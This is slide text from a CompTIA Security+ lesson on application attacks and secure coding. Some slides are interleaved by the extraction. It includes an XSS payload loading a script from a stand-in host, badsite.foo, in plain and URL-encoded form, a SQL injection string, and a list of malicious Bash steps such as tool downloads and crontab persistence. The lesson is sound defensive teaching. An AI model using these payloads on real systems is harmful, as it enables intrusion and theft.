Chapter 14
Chapter 14
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 2
Overflow Vulnerabilities
• Buffer overflow
• Buffer is memory allocated to application
• The threat actor submits input that is too large to be stored in a variable assigned by the application.
• To exploit a buffer overflow vulnerability, the attacker passes data that deliberately overfills the
buffer. One of the most common vulnerabilities is a stack overflow.
• Integer overflow
• Cause application to calculate values that are out-of-bounds
• Could use to cause crash or use in buffer overflow attack
• (An integer overflow attack causes the target software to calculate a value that exceeds these
bounds. This may cause a positive number to become negative (changing a bank debit to a credit)
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 3
Memory Leaks and Resource Exhaustion
• Memory leaks
• Process allocates memory locations, but never releases them
• Can cause host to run out of memory
• Could be faulty code or could be malicious
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 4
DLL Injection
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 5
Pass the Hash Attack
Attackers can extend their lateral movement if
they are able to compromise host credentials.
One common credential exploit technique for
lateral movement is called pass the hash (PtH)
• Malware executes another process
on a remote host
• Attacker can just pass hash without
having to crack it
• Remote host will accept hash as
credential
• Detection through security log
events
Images © 123rf.com.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org
Topic 14B
Analyze Indicators of Web Application Attacks
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 7
A web application exposes many interfaces to public networks.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 9
Application Programming Interface Attacks
Some other common attacks against APIs target the following weaknesses and
vulnerabilities:
• Ineffective secrets management, allowing threat actors to discover an API key
and perform any action authorized to that key.
• Lack of input validation, allowing the threat actor to insert arbitrary
parameters into API methods and queries. This is often referred to as allowing
unsanitized input.
• Error messages revealing clues to a potential adversary. For example, an authentication
error should not reveal whether a valid username has been rejected because of an invalid password. The error should
simply indicate an authentication failure.
• Denial of service (DoS) by bombarding the API with spurious calls.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 10
Replay Attacks
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 12
Clickjacking
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 13
Cross-Site Scripting (XSS)
Check out this amazing <a
• Attacker injects code in trusted site href="https://trusted.foo">website</a><script
that will be executed in client src="https://badsite.foo/hook.js"></script>.
browser
• A client-side or cross-site request
forgery (CSRF or XSRF) can exploit
applications that use cookies to
authenticate users and track
sessions. https://trusted.foo/messages#user=James
The attacker must convince the victim to start a %3Cscript%20src%3D%22https%3A%2F
session with the target site. The attacker must %2Fbadsite.foo%2Fhook.js%22%3E%3C
then pass an HTTP request to the victim's %2Fscript%3E
browser that spoofs an action on the target site
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 14
Structured Query Language Injection Attacks
• Injection-type attacks
• Structured Query Language (SQL)
SELECT * FROM tbl_user WHERE
statements username = '' or 1=1--#
• SELECT, INSERT, DELETE, UPDATE, WHERE
• SQL injection
• Pass SQL statements to the web application
via user input or URL
• Show or insert database records
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 15
Directory Traversal
• Directory traversal
• Obtain access to files outside web site root directory
The threat actor submits a request for a file outside the web server's root directory
by submitting a path to navigate to the parent directory (../). This attack can succeed
if the input is not filtered properly and access permissions on the file are the same
as those on the web server directory.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 16
Topic 14C
Summarize Secure Coding Practices
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 17
Static Code Analysis
Some of the most important coding practices are input validation, output encoding,
and error handling.
Normalization means that a string is stripped of illegal characters or substrings and
converted to the accepted character set. Output encoding means that the string is
re-encoded safely for the context in which it is being used.
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 18
Dynamic Code Analysis
• "stress testing"
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 20
Scripting
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 21
Python Script Environment
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 23
Malicious Code Indicators
• Detection through monitoring platforms or host/process behavior
analysis. The main types of malicious activity:
• Shellcode - Creates a process or injects a DLL
• Credential dumping—the malware might try to access the credentials file
• Lateral movement/insider attack
• Persistence – restarting backdoor
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 24
Bash and Python Malicious Indicators
• (Bash)- Bourne Again Shell - Batch scripting for Linux command-line
A malicious script running on a Linux host might attempt the following:
• 1. Use commands such as whoami and ifconfig/ip/route to establish the local context.
• 2. Download tools, possibly using wget or curl.
• 3. Add crontab entries to enable persistence.
• 4. Add a user to sudo and enable remote access via SSH.
• 5. Change firewall rules using iptables.
• 6. Use tools such as Nmap to scan for other hosts.
• Malicious indicators
• Reconnaissance-type activity
• Download tools
• Account/firewall configuration changes
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 25
Visual Basic for Applications (VBA)
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 26
Man-in-the-Browser Attack
• Compromise browser
• Inspect session data
• Change browser settings
• Perform redirection
• Perform code injection
• Malicious plug-in/script/DLL
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 27
Topic 14E
Summarize Deployment and Automation Concepts
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 28
Application Development, Deployment, and Automation
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 29
Secure Application Development Environments
Images © 123rf.com.
Provisioning, Deprovisioning, and Version Control
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 31
Automation/Scripting Release Paradigms
Images © 123rf.com.
• Runtime environment
• Compiled code
• Interpreted code
• Software diversity as obfuscation
• Security by diversity
• Avoid monocultures to make attacks harder to develop
CompTIA Security+ Lesson 14 | Copyright © 2020 CompTIA Properties, LLC. All Rights Reserved. | CompTIA.org 33